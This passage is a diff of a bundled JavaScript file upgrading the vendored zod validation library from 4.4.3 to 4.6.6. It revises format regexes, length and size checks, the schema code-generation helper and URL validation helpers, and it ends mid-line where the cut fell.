/^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -56345,13 +56741,13 @@ var uuid = (version3) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -56362,33 +56758,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -56424,13 +56825,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -56439,22 +56848,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56467,22 +56866,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56494,14 +56883,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -56520,32 +56908,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56556,7 +56936,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56569,10 +56949,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56580,10 +56960,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56596,18 +56976,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56615,10 +56989,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56631,26 +57005,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56659,26 +57025,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56687,24 +57045,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -56717,27 +57066,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56746,27 +57088,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56775,22 +57110,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -56806,14 +57133,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -56861,13 +57180,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -56886,11 +57200,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -56909,11 +57218,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -56947,12 +57251,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -56972,18 +57301,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -57001,31 +57334,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -57038,6 +57370,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -57061,6 +57395,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -57068,6 +57403,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -57114,22 +57450,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -57179,58 +57532,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : 